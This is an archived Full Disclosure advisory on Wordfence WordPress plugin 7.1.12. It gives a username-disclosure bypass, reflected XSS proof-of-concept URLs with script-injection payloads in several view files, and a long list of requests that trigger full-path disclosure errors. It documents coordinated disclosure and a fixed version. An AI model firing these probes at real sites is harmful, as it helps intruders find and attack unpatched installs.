lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 15 Oct 2018 15:17:28 +0000 (UTC)
From: Janek Vind via Fulldisclosure <fulldisclosure@...lists.org>
To: <fulldisclosure@...lists.org>
Subject: [FD] [waraxe-2018-SA#109] - Multiple vulnerabilities in Wordfence
 Wordpress plugin

[waraxe-2018-SA#109] - Multiple vulnerabilities in Wordfence Wordpress plugin
================================================================================

Author: Janek Vind "waraxe"
Date: 02. October 2018
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-109.html

Target description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Wordfence includes an endpoint firewall and malware scanner that were built from
the ground up to protect WordPress. Our Threat Defense Feed arms Wordfence with
the newest firewall rules, malware signatures and malicious IP addresses it needs
to keep your website safe. Rounded out by a suite of additional features, Wordfence
is the most comprehensive WordPress security solution available.

https://wordpress.org/plugins/wordfence/
https://www.wordfence.com/

Vulnerable version: 7.1.12
Fixed version: 7.1.14
Active installations: 2+ million

###############################################################################
1. Wordpress username disclosure protection partial bypass
###############################################################################

Preconditions:
 * works only for user who is author of the last post
 
Testing:

  Let's try well know Wordpress username disclosure method with activated Wordfence:
  
  http://localhost/wp498/?author=1
  
  Result: "Oops! That page can’t be found."
  
  Now let's try modified query:
  
  http://localhost/wp498/?author[]=
  
  Result: "Author: root"
  
This method can disclose only one username - from author of the last post

###############################################################################
2. Reflected XSS in "403.php"
###############################################################################

Reasons:
 * directly accessible PHP file
 * uninitialized variable "customText"
Preconditions:
 * PHP version < 5.4
 * register_globals = On (default is "Off")
 
Testing:

  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403.php?customText=<script>alert('XSS')</script>

###############################################################################
3. Reflected XSS in "503.php"
###############################################################################

Reasons:
 * directly accessible PHP file
 * uninitialized variables "reason" and "customText"
Preconditions:
 * PHP version < 5.4
 * register_globals = On (default is "Off")

Testing:

  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php?reason=<script>alert('XSS')</script>
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php?customText=<script>alert('XSS')</script>

###############################################################################
4. Reflected XSS in "503-lockout.php"
###############################################################################

Reasons:
 * directly accessible PHP file
 * uninitialized variables "customText" and "homeURL"
Preconditions:
 * PHP version < 5.4
 * register_globals = On (default is "Off")

Testing:

  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php?customText=<script>alert('XSS')</script>
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php?homeURL="><script>alert('XSS')</script>

###############################################################################
5. Full path disclosure in multiple PHP files
###############################################################################

Reasons:
 * directly accessible PHP files
Preconditions:
 * display_errors = On (default is "On")

Testing:

  http://localhost/wp498/wp-content/plugins/wordfence/wordfence.php
  
  Warning: Invalid argument supplied for foreach() in
  C:\apache_www\wp498\wp-content\plugins\wordfence\wordfence.php on line 20
  Fatal error: Call to undefined function trailingslashit() in
  C:\apache_www\wp498\wp-content\plugins\wordfence\wordfence.php on line 31

  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php
  
  Fatal error: Call to a member function createNonce() on null in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\503.php on line 235
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php
  
  Fatal error: Call to a member function createNonce() on null in 
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\503-lockout.php on line 240
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403.php
  
  Fatal error: Class 'wfWAFUtils' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\403.php on line 234
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-roadblock.php
  
  Fatal error: Class 'wfWAFUtils' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\403-roadblock.php on line 13
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-blacklist.php
  
  Fatal error: Call to a member function getRequest() on null in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\403-blacklist.php on line 13
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/storage/file.php
  
  Fatal error: Interface 'wfWAFStorageInterface' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\storage\file.php on line 3
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/rules.php
  
  Fatal error: Class 'wfWAFException' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\rules.php on line 15
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/sqli.php
  
  Fatal error: Class 'wfWAFBaseParser' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\parser\sqli.php on line 3
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/parser.php
  
  Fatal error: Class 'wfWAFException' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\parser\lexer.php on line 243
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/lexer.php
  
  Fatal error: Class 'wfWAFException' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\parser\lexer.php on line 243
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/http.php
  
  Fatal error: Class 'wfWAFException' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\http.php on line 439
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/bootstrap-sample.php
  
  Warning: file_get_contents(C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src/baseRules.rules):
  failed to open stream: No such file or directory in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\bootstrap-sample.php on line 40

  http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/WebService/Http/CurlRequest.php
  
  Fatal error: Interface 'MaxMind\WebService\Http\Request' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\WebService\Http\CurlRequest.php on line 13
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/PermissionRequiredException.php
  
  Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\PermissionRequiredException.php on line 9
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/IpAddressNotFoundException.php
  
  Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\IpAddressNotFoundException.php on line 6
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InvalidRequestException.php
  
  Fatal error: Class 'MaxMind\Exception\HttpException' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\InvalidRequestException.php on line 9
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InvalidInputException.php
  
  Fatal error: Class 'MaxMind\Exception\WebServiceException' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\InvalidInputException.php on line 11
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InsufficientFundsException.php
  
  Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\InsufficientFundsException.php on line 9
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/HttpException.php
  
  Fatal error: Class 'MaxMind\Exception\WebServiceException' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\HttpException.php on line 9
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/AuthenticationException.php
  
  Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\AuthenticationException.php on line 9
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/WebService/Client.php
  
  Fatal error: Interface 'GeoIp2\ProviderInterface' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\WebService\Client.php on line 45
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Traits.php
  
  Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Traits.php on line 92
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Subdivision.php
  
  Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Subdivision.php on line 30
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/RepresentedCountry.php
  
  Fatal error: Class 'GeoIp2\Record\Country' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\RepresentedCountry.php on line 30
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Postal.php
  
  Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Postal.php on line 21
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/MaxMind.php
  
  Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\MaxMind.php on line 14
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Location.php
  
  Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Location.php on line 37
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Country.php
  
  Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Country.php on line 30
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Continent.php
  
  Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Continent.php on line 23
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/City.php
  
  Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\City.php on line 24
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/AbstractPlaceRecord.php
  
  Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\AbstractPlaceRecord.php on line 6
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Isp.php
  
  Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Isp.php on line 21
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Insights.php
  
  Fatal error: Class 'GeoIp2\Model\City' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Insights.php on line 46
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Enterprise.php
  
  Fatal error: Class 'GeoIp2\Model\City' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Enterprise.php on line 46
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Domain.php
  
  Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Domain.php on line 15
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Country.php
  
  Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Country.php on line 31
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/ConnectionType.php
  
  Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\ConnectionType.php on line 15
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/City.php
  
  Fatal error: Class 'GeoIp2\Model\Country' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\City.php on line 48
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Asn.php
  
  Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Asn.php on line 17
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/AnonymousIp.php
  
  Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\AnonymousIp.php on line 22
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/OutOfQueriesException.php
  
  Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\OutOfQueriesException.php on line 9
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/InvalidRequestException.php
  
  Fatal error: Class 'GeoIp2\Exception\HttpException' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\InvalidRequestException.php on line 10
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/HttpException.php
  
  Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\HttpException.php on line 9
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/AuthenticationException.php
  
  Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\AuthenticationException.php on line 9
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/AddressNotFoundException.php
  
  Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\AddressNotFoundException.php on line 9
  
  http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Database/Reader.php
  
  Fatal error: Interface 'GeoIp2\ProviderInterface' not found in
  C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Database\Reader.php on line 35

Solution:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Found issues have been addressed in Wordfence 7.1.14 release.

Disclosure timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
13.09.2018 -> First email to vendor
13.09.2018 -> First response email from vendor
13.09.2018 -> Sending detailed information to vendor
01.10.2018 -> Found problems are fixed
02.10.2018 -> Current advisory released
 
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
come2waraxe@...oo.com
Janek Vind "waraxe"
 
Waraxe forum:  http://www.waraxe.us/
Personal homepage: http://www.janekvind.com/
View attachment "[waraxe-2018-SA#109] - Multiple
  vulnerabilities in Wordfence Wordpress plugin.txt" of type "text/plain" (18621 bytes)


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists